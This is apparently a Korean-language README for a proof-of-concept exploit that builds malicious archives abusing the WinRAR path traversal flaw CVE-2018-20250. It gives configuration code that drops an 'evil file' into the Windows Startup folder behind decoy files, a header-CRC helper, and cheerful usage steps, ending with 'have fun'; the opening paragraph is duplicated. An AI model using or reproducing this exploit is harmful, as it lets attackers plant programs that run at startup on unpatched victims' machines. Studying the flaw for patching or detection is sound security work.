
WinRar은(는) 윈도우에서 매우 널리 알려진 소프트웨어입니다. 이전 버전의 WinRaR에는 2019년 2월에 패치된 취약점이 있었습니다. 대부분의 사용자가 WinRar을 업데이트하지 않아 이 Absolute Path Traversal 버그 [CVE-2018-20250]에 취약합니다.
WinRar은 Windows에서 매우 널리 알려진 소프트웨어입니다. 이전 버전의 WinRaR에는 2019년 2월에 패치된 취약점이 있었습니다. 대부분의 사용자가 WinRar을 업데이트하지 않아 이 절대 경로 탐색(Absolute Path Traversal) 버그 [CVE-2018-20250]에 여전히 취약합니다.
Winrar에서 코드 실행 추출을 위한 exp입니다.
poc - Ridter 작성
사용 방법은?
Python 3.7을 설치하고, 실행하려는 악성 파일을 준비한 다음, 원하는 값을 설정하기만 하면 됩니다. 이 exp 스크립트가 악성 아카이브 파일을 자동으로 생성합니다!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rar가 자동으로 생성됩니다test.rar를 열면 hello.txt와 world.txt 파일이 표시됩니다. 더 많은 파일, 더 매력적인 파일을 추가할 수도 있습니다.![]()
hi.exe라는 파일이 하나 더 생깁니다. 실제로는 calc.exe입니다. 컴퓨터를 다시 시작하면 hi.exe가 실행됩니다.![]()
재미있게 사용하세요! :)